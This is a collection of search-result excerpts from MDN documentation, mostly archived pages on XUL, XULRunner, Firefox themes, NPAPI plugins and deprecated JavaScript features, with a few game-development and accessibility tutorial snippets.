...ue"/> </hbox> </row> </rows> </grid> <hbox class="buttons"> <button id="clear" label="clear" accesskey="c" oncommand="cleardate();"/> <button id="today" label="today" accesskey="t" oncommand="settoday();"/> </hbox> </groupbox> <statusbar> <statusbarpanel id="status"/> </statusbar> </vbox> </window> make a new css file, style7.css.
... { color: #777; } .day:first-child { margin-left: 4px; } /* the left column labels */ .text-prompt { padding-top: .25em; } /* the date input box */ #date-text { max-width: 8em; } /* the status bar */ statusbar { width: 100%; border: 1px inset -moz-dialog; margin: 4px; padding: 0px 4px; } #status { padding: 4px; } #status[warning] { color: red; } make a new text file, script7.js.
... datebox, daybox, currentday, status; // elements // called by window onload function init() { datebox = document.getelementbyid("date-text") daybox = document.getelementbyid("day-box") status = document.getelementbyid("status") settoday(); } // called by clear button function cleardate() { datebox.value = "" refresh() } // called by today button function settoday() { var d = new date() datebox.value = (d.getmonth() + 1) + "/" + d.getdate() + "/" + d.getfullyear() refresh() } // called by date textbox function refresh() { var d = datebox.value var thedate = null showstatus(null) if (d != "") { try { var a = d.split("/") var thedate = new date(a[2], a[0] - 1, a[1]) showstatus(thedate) } catch (ex) {} } setday(th...
List of Mozilla-Based Applications - Archive of obsolete content
if you have information about a new project or extra information about an existing project, please feel free to update this page.
... epic browser web browser based on chromium uses mozilla nss and npapi libraries emusic download manager music downloader for emusic emusic remote music manager enlis genome personal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor seems to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the platform is based on mozilla code fennec br...
...oogle’s desktop widget engine uses xulrunner according to the build instructions grani grain sizing assessment tool according to this wiki page grani is based on xul and xpcom daim gwt-mosaic-xul xul builder for google web tools hachette's multimedia encyclopedia electronic encyclopedia this product was using mozilla in 2004 but i’m not sure if new version still does hacketyhack little coders helma web application framework uses mozilla rhino holt mcdougal cd-roms educational cd-roms activity generator and lab generator are both based on custom firefox distributions houdini 3d animation tools uses gecko in embedded help viewer httpunit automated testing framework us...
...sic collection organizer listed on xulrunner hall of fame but haven't seen information elsewhere tuxguitar tabulature editor uses xulrunner twitfactory standalone twitter/identi.ca client uis university information system intranet application, 1000 users, thin client based on ff3 unison desktop enterprise email i think it's using mailnews code but don't have any information to link to.
Creating a Microsummary - Archive of obsolete content
in each step of revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily.
...to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descriptions of the microsummaries the generator creates.
... xpath checker will open a new window.
... the new window will include an xpath field that contains this xpath expression pointing to the download count node: id('download-count').
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
note: starting in gecko 2.0, the new omni.jar file contains the skin, among other resources.
... install your new theme before you can see the changes you make to a firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable.
...so create a new directory called my_theme.
...(yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files contents.rdf make a copy of contents.rdf, place it in \my_theme and open it up in your text editor.
Using microformats - Archive of obsolete content
loading the microformats api the microformats object is created using the new javascript script loader added to firefox 3.
... methods add() adds a new microformat to the microformat module.
... note: if a microformat by the specified name already exists, it is replaced by the new one.
... return value a new array of microformat objects matching the search criteria, or the array specified by microformats with the newly found microformat objects added.
Prism - Archive of obsolete content
in addition to the browser engine included in xulrunner, it consists of: web app bundle management: code for creating new web app bundles and loading existing bundles.
... firefox extension: a firefox extension, code-named "refractor", can be used to spin out new prism apps from inside the web browser.
... refractor adds a new menu item to call up the shortcut creation dialog for inside firefox.
... community blog posts prism forum #prism on irc.mozilla.org goodies bundle library contributing source code in svn bugzilla (for bugs and suggestions) open bugs, enter new bug build documentation related topics xulrunner ...
Frequently Asked Questions - Archive of obsolete content
this is either because your browser doesn't support svg (you must have mozilla firefox 1.5 or newer), or because the webpage/server isn't correctly telling mozilla that the file contains svg.
...if you can't find a matching bug please file a new svg bug report, preferably attaching a (very small!) svg file that demonstrates the bug.
...the <object> tag should be used in preference to the <embed> tag in new content whenever possible.
...if you'd prefer to contact us by email you can send an email to our newsgroup mozilla.dev.tech.svg which is archived here.
File object - Archive of obsolete content
here is the original proposal for this object, and a status update from december 1998: http://www.mozilla.org/js/js-file-object.html created by the file constructor: new file(); new file(filename); parameters filename name of the file we want to work with.
... when a file is constructed, leading and trailing spaces are removed from the filename, so new file(" abc.txt ") just creates a file called abc.txt.
... file.copyto() creates a verbatim copy of the file at a new location.
... examples example: hello, world file.output.writeln("hello, world"); example: writing a new file var file = new file("myfile.txt"); file.open("write,create", "text"); file.writeln("the quick brown fox jumped over the lazy dogs"); file.close(); example: reading from a file var data; var file = new file("myfile.txt"); file.open("read", "text"); data = file.readln(); file.close(); example: sending mail through a pipeline var mail = new file("|/usr/lib/sendmail foo@bar.com"); mail.wri...
String Quick Reference - Archive of obsolete content
old way: use nsstring& and nscstring& void mymethod(const nsstring& input, nsstring& output); new way: use nsastring& and nsacstring& void mymethod(const nsastring& input, nsastring& output); substrings what: get direct references to string fragments why: avoid making multiple copies of the string old way: use a bunch of nsautostrings, and use left(), right() and mid() to grab a segment of a string: // get an 8-character string starting at the 4th position nsautostring leftside; str.left(leftside,...
... 12); nsautostring middle; leftside.right(middle, 8); new way: use substring() to grab a direct reference to those characters: // get an 8-character string starting at the 4th position const nsastring& middle = substring(str, 4, 8); unicode literals what: use macro tricks to make wide-character literal strings.
...old way: use nsautostring and assignwithconversion() nsautostring widestring; widestring.assignwithconversion("some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()) nsautostring widestring2; widestring2.assignwithconversion("another string"); callwidefunction(widestring2); new way: use ns_literal_string or ns_named_literal_string // pre-declare the variable if you'll use it multiple times ns_named_literal_string(widestring, "some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()); // inline the string with ns_literal_string callwidefunction(ns_literal_string("another string")); co...
...note: may involve changing existing apis old way: wrap with nscautostring() // foo is a prunichar* string // call // void handlestring(const nsstring& str); handlestring(nsautostring(foo)); new way: wrap with nsdependentstring // foo is a prunichar* string // fix caller to be // void handlestring(const nsastring& str); handlestring(nsdependentstring(foo)); stack-based strings what: use of special stack-oriented classes why: to avoid excess heap allocations and memory leaks wrong: use nsstring/nscstring or raw characters // call getstringvalue(nsastring& out); nsstring value; getstringvalue...
Tamarin Build System Documentation - Archive of obsolete content
the smoke test list is constantly updated to contain the most recent failures, most frequent failures, and the newest testcases.
... checkins (hg push) to http://hg.mozilla.org/tamarin-redux and sandbox requests will trigger a buildbot build when all build slaves are idle the next build begins before the build begins buildbot waits for 2 minutes of no checkin activity the build system prioritizes tamarin-redux checkins over sandbox builds when several tamarin-redux checkins occur the newest change is built including all checkins since the last build each sandbox build occurs in the order they were submitted, the submitter may cancel a build.
... if buildbot is busy the queue is displayed http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm the submitter of a sandbox build may remove a build request by clicking on the cancel button tamarin-redux builds are higher priority than sandbox builds, they cannot be removed but the most checkin including all new checkins are built how can i run buildbot scripts locally?
... the buildbot scripts are located in the tamarin repository, get a current copy in your test repository cd into the build/buildbot/slaves directory: cd build/buildbot/slaves copy the your platform scripts directory into the scripts directory and cd into the new scripts directory: cp -r mac-intel-10_5/scripts .
URIs and URLs - Archive of obsolete content
ource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers.
...the protocol handler provides scheme specific information and methods to create new uris of the schemes it supports.
...this means that it should be possible to add new protocols to necko just by implementing nsiprotocolhandler and nsichannel.
... it also might be necessary to implement a new urlparser for a new protocol but that might not be necessary because necko already provides uri implementations that can deal with a number of schemes, by implementing the generic urlparser defined in rfc 2396.
XBL - Archive of obsolete content
the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
... bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted underneath the bound element.
... an overview of differences between mozilla xbl and xbl2 is in a newsgroup posting by jonas sicking (april, 2007).
... mailing list newsgroup rss feed ...
compareTo - Archive of obsolete content
1 this version object has a larger (newer) build number than version.
... 2 this version object has a larger (newer) release number than version.
... 3 this version object has a larger (newer) minor number than version.
... 4 this version object has a larger (newer) major number than version.
autocompletesearch - Archive of obsolete content
« xul reference home autocompletesearch new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface.
... mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested.
... gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched.
... ldap new in thunderbird 25 requires seamonkey 2.22 the user's ldap directory is searched.
Dynamically modifying XUL-based user interface - Archive of obsolete content
var element = document.getelementbyid("someelement"); while(element.haschildnodes()){ element.removechild(element.firstchild); } inserting menu items to a menu this example adds two new menu items to a <menupopup>: to the start and to the end of it.
...you need to use other dom methods, such as appendchild() to insert the newly created element in the document.
... function createmenuitem(alabel) { const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var item = document.createelementns(xul_ns, "menuitem"); // create a new xul menuitem item.setattribute("label", alabel); return item; } var popup = document.getelementbyid("mypopup"); // a <menupopup> element var first = createmenuitem("first item"); var last = createmenuitem("last item"); popup.insertbefore(first, popup.firstchild); popup.appendchild(last); you can also use appendchild() and insertbefore() to move existing elements.
...anonymous content (xbl) xbl is the language used in mozilla to define new widgets.
insertItemAt - Archive of obsolete content
« xul reference home insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position.
...the new item element is returned.
... note: you cannot insert an item to an index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!-- this example inserts at the selected item or appends, then selects the newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate = new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var newindex = mylistbox.selectedi...
...ndex; mylistbox.insertitemat(newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the newly created item mylistbox.selectedindex = newindex; } </script> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
Complete - Archive of obsolete content
the problem with this approach is that you have to release a new xpi every time there is a new release of any of the applications it supports.
... if you delay releasing a new xpi, you risk annoying users who cannot upgrade until you do.
... file structure in the new file structure, there is a locale directory for all the locales.
...the css stylesheet uses the corresponding selector #all-custom-1 to provide the appropriate image: button-1.png file structure in the new file structure, there is a skin directory for all the themes.
Tabboxes - Archive of obsolete content
it involves five new elements, which are described briefly here and in more detail below.
...the area taken up by the tab area does not change when the user switches to a new tab page.
... tabbox example example 1 : source view <tabbox> <tabs> <tab label="mail"/> <tab label="news"/> </tabs> <tabpanels> <tabpanel id="mailtab"> <checkbox label="automatically check for mail"/> </tabpanel> <tabpanel id="newstab"> <button label="clear news buffer"/> </tabpanel> </tabpanels> </tabbox> here, two tabs have been added, the first labeled 'mail' and the other 'news'.
...when the second tab is clicked, the page containing the button labeled 'clear news buffer' will appear instead.
Tree View Details - Archive of obsolete content
the view should then perform any necessary operations to retrieve the child rows and then update the tree with the new rows.
...obviously, the new inserted child items will have both values set to false.
...next, we use the array's splice function to insert a new row for each item.
... whether opening or closing a row, we need to tell the tree to repaint the twisty in the new state.
menulist - Archive of obsolete content
ode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value, description ) return type: element creates a new menuitem element and adds it to the end of the menulist.
...the function returns the new item.
... insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position.
...the new item element is returned.
radiogroup - Archive of obsolete content
ssamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
...the function returns the newly created element.
... insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position.
...the new item element is returned.
textbox - Archive of obsolete content
attributes cols, decimalplaces, disabled, emptytext, hidespinbuttons, increment, label, max, maxlength, min, multiline, newlines, onblur, onchange, onfocus, oninput, placeholder, preference, readonly, rows, searchbutton, size, spellcheck, tabindex, timeout, type, value, wrap, wraparound properties accessibletype, clickselectsall, decimalplaces, decimalsymbol, defaultvalue, disabled, editor, emptytext, increment, inputfield, label, max, maxlength, min, placeholder, readonly, searchbutton, selectionend, selectionst...
...if the user presses enter, a new line is started.
... newlines type: one of the values below how the text box handles pastes with newlines in them.
... possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus.
toolbar - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() method.
...the new item is added just before the item given by the second argument.
...otherwise, if the beforepermanent argument is false, the new item is added to the end of the toolbar.
... the third argument can be used to wrap the new item in another element.
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is now available as a security/stability update; all users should install this new version.
...installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.1.en-us.linux-i686.tar.gz.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 2.0 Release Notes - Archive of obsolete content
windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux (32-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-i686.tar.bz2.
... linux (64-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-x86_64.tar.bz2.
...if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
Application Update - Archive of obsolete content
//pref("app.update.url.override", ""); // interval: time between checks for a new version (in seconds) // default=1 day pref("app.update.interval", 86400); // interval: time before prompting the user to download a new version that // is available (in seconds) default=1 day pref("app.update.nagtimer.download", 86400); // interval: time before prompting the user to restart to install the latest // download (in seconds) default=30 minutes pref("app...
...other apps may wish to show this ui, and supply // a whatsnewurl field in their brand.properties that contains a link to a page // which tells users what's new in this new update.
... pref("app.update.showinstalledui", false); // 0 = suppress prompting for incompatibilities if there are updates available // to newer versions of installed addons that resolve them.
... // 1 = suppress prompting for incompatibilities only if there are versioninfo // updates available to installed addons that resolve them, not newer // versions.
Getting started with XULRunner - Archive of obsolete content
one way to achieve this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` xurl=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $xurl | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you...
...i unzipped it to a new c:\program files\xulrunner folder.
... on windows, i created the root in a new c:\program files\myapp folder, but you can create it wherever you like, using whatever os you like.
...you could also just create a new application root-level manifest that includes the /chrome/chrome.manifest, which is what this tutorial will do.
How to enable locale switching in a XULRunner application - Archive of obsolete content
code to update the locale user preference and restart the application mozilla xulrunner doesn't allow runtime switching of the locale, therefore the application must be restarted to activate the new choice.
...it saves the new locale to the user application preferences (thereby overriding the default prefs.js above) and then asks xulrunner to restart.
... var localelistbox = document.getelementbyid("locale-listbox"); var newlocale = localelistbox.selecteditem.value; // write preferred locale to local user config var prefs = components.classes["@mozilla.org/preferences-service;1"].
... getservice(components.interfaces.nsiprefbranch); prefs.setcharpref("general.useragent.locale", newlocale); // restart application var appstartup = components.classes["@mozilla.org/toolkit/app-startup;1"] .getservice(components.interfaces.nsiappstartup); appstartup.quit(components.interfaces.nsiappstartup.erestart | components.interfaces.nsiappstartup.eattemptquit); } catch(err) { alert("couldn't change locale: " + err); } } * * * here i include a complete xulrunner application example that demonstrates the locale switching.
Monitoring plugins - Archive of obsolete content
summary a new component of the plugin system is now available to measure how long it takes plugins (e.g., adobe flash) to execute their calls.
...this article discusses how developers can make use of this new feature.
... usage to make use of the new component you must register to receive its runtime notifications using the observer service.
...if you are new to the mozilla observer service, you may want to familiarize yourself with it before proceeding further.
NPN_Write - Archive of obsolete content
a plug-in can call this function multiple times after creating a stream with npn_newstream().
...example this example pushes a snippet of html over a newly created stream, then destroys the stream when it's done.
...*/ err = npn_newstream(instance, "text/html", "_blank", &stream) /* push data into the stream.
...*/ err = npn_destroystream(instance, stream, npres_done); see also npp_newstream() npp_destroystream() npp_read() npstream npp ...
NPP_Destroy - Archive of obsolete content
**save state or other information to save for reuse by a new instance of this plug-in at the same url.
... passed to npp_new.
...upon the user's return to the page, this information is passed to the new plug-in instance when it is created with npp_new.
... see also npp_new, np_shutdown, npp, npn_memalloc, npsaveddata ...
Proposal - Archive of obsolete content
name description status easy news topics easy news topics (ent) is intended to be a very simple standard for describing how topic information can be introduced into an rss2.0 news feed.
...spec exists newsgator feed extension created to make rss feeds work better with newsgator software.
...and lets you specifies a specific rendering transform (xslt) to be used when rendering the feed in newsgator for outlook.
... the transform must already exist on the machine running newsgator; stylesheets will not be downloaded or installed automatically.
Building a Theme - Archive of obsolete content
inside your new theme folder, create two new empty text files, one called chrome.manifest and the other called install.rdf.
...set this to be no newer than the newest currently available version!
... create a new text file and put the full path to your development folder inside (e.g.
...mozilla's site also provides users easier installation, and will automatically make your newer versions available to users of your existing versions when you upload them.
Using the W3C DOM - Archive of obsolete content
w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use.
...me.value document.forms["formname"].inputname.value or document.forms["formname"].elements["inputname"].value formctrlname document.forms["formname"].formctrlname or document.forms["formname"].elements["formctrlname"] document.forms(0) document.forms[0] more on accessing forms and form elements: referencing forms and form controls by comp.lang.javascript newsgroup faq notes dom 2 specification on accessing forms and form elements referencing forms and form elements correctly, javascript best practices, by matt kruse for accessing a group of elements, the dom specification also includes getelementsbytagname, which returns a nodelist of all the elements with the given tag name in the order they appear in the document: var arrcollection_of_pargs = d...
... in addition to these access methods, the w3c dom specifications provide methods for creating new elements and inserting them in a document, for creating attributes, new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself.
... dom level 2 provides for the assignment of new values to the css properties of an element using the elemref.style object reference.
Browser Detection and Cross Browser Support - Archive of obsolete content
this ignores the existence of opera as well as the newer handheld devices which are being used to access the web today and in the future.
...for new content, we recommend that you use a doctype which will invoke standards mode in gecko and internet explorer 6.
...i recommend that you only provide work arounds for bugs on a temporary basis and as soon as bugs are corrected in newer releases of the browser that you require your visitors to upgrade their browser.
...if your pages make use of advanced javascript which manipulates or creates new content using the w3c dom core, then opera 5 and 6 should be considered downlevel as well due to their limited support for the w3c dom.
Array comprehensions - Archive of obsolete content
the array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
... array comprehension was previously proposed to be standardized in ecmascript 2016, it provide a useful shortcut for constructing a new array based on the contents of another.
... the following comprehension takes an array of numbers and creates a new array of the double of each of those numbers.
...new variables (such as i in the example) are treated as if they had been declared using let.
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
(may 2019) ecmascript next refers to new features of the ecma-262 standard (commonly referred to as javascript) introduced after ecmascript 2015.
... new versions of ecmascript specifications are released yearly.
... additions to the arraybuffer object arraybuffer.transfer() (spec) new typedobject objects based on typed objects draft, and exposed via a global typedobject object, e.g.
... new shared memory objects sharedarraybuffer atomics ...
Object.prototype.__noSuchMethod__ - Archive of obsolete content
ultiple inheritance objects as parents function nomethod(name, args) { var parents = this.__parents_; // go through all parents for (var i = 0; i < parents.length; i++) { // if we find a function on the parent, we call it if (typeof parents[i][name] == 'function') { return parents[i][name].apply(this, args); } } // if we get here, the method hasn't been found throw new typeerror; } // used to add a parent for multiple inheritance function addparent(obj, parent) { // if the object isn't initialized, initialize it if (!obj.__parents_) { obj.__parents_ = []; obj.__nosuchmethod__ = nomethod; } // add the parent obj.__parents_.push(parent); } an example of using this idea is shown below.
... // example base class 1 function namedthing(name) { this.name = name; } namedthing.prototype = { getname: function() { return this.name; }, setname: function(newname) { this.name = newname; } } // example base class 2 function agedthing(age) { this.age = age; } agedthing.prototype = { getage: function() { return this.age; }, setage: function(age) { this.age = age; } } // child class.
...rom namedthing and agedthing // as well as defining address function person(name, age, address){ addparent(this, namedthing.prototype); namedthing.call(this, name); addparent(this, agedthing.prototype); agedthing.call(this, age); this.address = address; } person.prototype = { getaddr: function() { return this.address; }, setaddr: function(addr) { this.address = addr; } } var bob = new person('bob', 25, 'new york'); console.log('getage is ' + (('getage' in bob) ?
...'in' : 'not in') + ' bob'); // getaddr is in bob console.log("bob's address is: " + bob.getaddr()); // bob's address is: new york specifications not part of any standard.
Object.prototype.watch() - Archive of obsolete content
description watches for assignment to a property named prop in this object, calling handler(prop, oldval, newval) whenever prop is set and storing the return value in that property.
... a watchpoint can filter (or nullify) the value assignment, by returning a modified newval (or by returning oldval).
... examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's prop...
... class person { constructor(name, age) { this.watch('age', this._isvalidassignment.bind(this)); this.watch('name', this._isvalidassignment.bind(this)); this.name = name; this.age = age; } tostring() { return this.name + ', ' + this.age; } _isvalidassignment(id, oldval, newval) { if (id === 'name' && (!newval || newval.length > 30)) { throw new rangeerror('invalid name for ' + this); } if (id === 'age' && (newval < 0 || newval > 200)) { throw new rangeerror('invalid age for ' + this); } return newval; } } const will = new person('will', 29); console.log(will); // will, 29 try { will.name = ''; } catch (e) { console.log(e); ...
JavaObject - Archive of obsolete content
in addition, you can explicitly construct a javaobject using the object's java constructor with the packages keyword: new packages.javaclass(parameterlist) javaclassis the fully-specified name of the object's java class.
... examples example: instantiating a java object in javascript the following code creates the javaobject thestring, which is an instance of the class java.lang.string: var thestring = new packages.java.lang.string("hello, world"); because the string class is in the java package, you can also use the java synonym and omit the packages keyword when you instantiate the class: var thestring = new java.lang.string("hello, world"); example: accessing methods of a java object because the javaobject thestring is an instance of java.lang.string, it inherits all the public methods of ...
... var thestring = new java.lang.string("hello, world"); thestring.startswith("hello"); // returns true example: accessing inherited methods because getclass is a method of object, and java.lang.string extends object, the string class inherits the getclass method.
... var thestring = new java.lang.string("hello, world"); thestring.getclass(); // returns java.lang.string see also javaarray, javaclass, javapackage, packages ...
Writing JavaScript for XHTML - Archive of obsolete content
solution: use the storage object with firefox 2 there was a new feature enabled, the html 5 storage object.
...for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser = new domparser(); var documentfragment = parser.parsefromstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error.
... problem: my favourite js library still breaks if you use javascript libraries like the famous prototype.js or yahoo's one, there is bad news for you: as long as the developers don't apply the fixes mentioned above, you won't be able to use them in your xml-xhtml applications.
...e4x is a new method of using and manipulating xml in javascript.
RDF in Mozilla FAQ - Archive of obsolete content
some examples of datasources that exist today are "browser bookmarks", "browser global history", "imap mail accounts", "nntp news servers", and "rdf/xml files".
...for example, mozilla mail/news reveals the folder hierarchy in the toolbar, the "folder pane", in several menus, and in some of the dialogs.
...for example, a mail/news user may add or remove imap folders.
...</window> assuming that we've aquired a datasource somehow (e.g., like this), the following sample code illustrates how to add that datasource to the template, and then force the template to rebuild itself based on the newly added datasource's contents.
The Business Benefits of Web Standards - Archive of obsolete content
they have adopted web standards long ago and now work where these new skills are appreciated.
... standards embrace new browsers more and more browsers, other than internet explorer for windows, are used to surf the web: windows: msie, browsers using mozilla's gecko rendering engine, opera mac: ms-tasman (ie/mac's rendering engine), gecko-based browsers, safari, opera linux: gecko-based browsers, khtml-based browsers, opera overall, 5 different rendering engines are used to surf the web using dozens of bro...
... in a ground breaking development microsoft have announced a new meta tag that can be used in sites to trigger ie 8 into web standards mode.
... today, it means more audience, lower cost to produce new content, and becoming compliant with accessibility requirements.
Audio for Web games - Game development
let's create our audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); now let's select all the <li> elements; later we can harness these elements to give us access to the track file path and each individual play button.
... note: this example does not wait for the beat to end before introducing the next piece; we could do this if we knew the bpm (beats per minute) of the tracks.
... you may find that the introduction of a new track sounds more natural if it comes in on the beat/bar/phrase or whatever units you want to chunk your background music into.
...note the second parameter (where to start playing from in the new track) is relative: if (offset == 0) { source.start(); offset = context.currenttime; } else { var relativetime = context.currenttime - offset; var beats = relativetime / tempo; var remainder = beats - math.floor(beats); var delay = tempo - (remainder*tempo); source.start(context.currenttime+delay, relativetime+delay); } note: you can try our wait calculator code here, on jsfiddle...
Move the ball - Game development
add the following below your x and y variable definitions: var dx = 2; var dy = -2; the last thing to do is to update x and y with our dx and dy variable on every frame, so the ball will be painted in the new position on every update.
... add the following two new lines indicated below to your draw() function: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser.
... this works ok, although it appears that the ball is leaving a trail behind it: clearing the canvas before each frame the ball is leaving a trail because we're painting a new circle on every frame without removing the previous one.
... add the following highlighted new line to the draw() function: function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code and try again, and this time you'll see the ball move without a trail.
Player paddle and controls - Game development
loading the paddle first, add the paddle variable we will be using in our game, right after the ball variable: var paddle; then, in the preload function, load the paddle image by adding the following new load.image() call: function preload() { // ...
...add the following line below the previous new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be.
...continue by adding the following new line, again at the bottom of the create() function: game.physics.enable(paddle, phaser.physics.arcade); now the magic can start to happen — the framework can take care of checking the collision detection on every frame.
...add the following new line to the update() function, as shown: function update() { game.physics.arcade.collide(ball, paddle); paddle.x = game.input.x; } now on every new frame the paddle's x position will adjust accordingly to the input's x position, however when we start the game, the position of the paddle is not in the middle.
Plug-in Development Overview - Gecko Plugin API Reference
if you define a new mime type for a plug-in, you must register it with ietf (internet engineering task force).
... until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
... use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver the data of that url to the plug-in instance in a new stream.
...the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a new stream.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process.
...this has made it more difficult for browser vendors to ensure compatibility and to work on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites.
... css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: all 4s ease; -ms-transition: all 4s ease; -o-transition: all 4s ease; transition: all 4s ease; api prefixes historically, vendors have also used prefixes for experimental apis.
... interface prefixes prefixes for interface names are upper-cased: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (older, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox...
Test your skills: CSS and JavaScript accessibility - Learn web development
we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list.
...select new values for the color and font-size that fix the problem.
...update the css with these new values to fix the problem.
...explain what tools or methods you used to select the new values and test the code.
Accessible multimedia - Learn web development
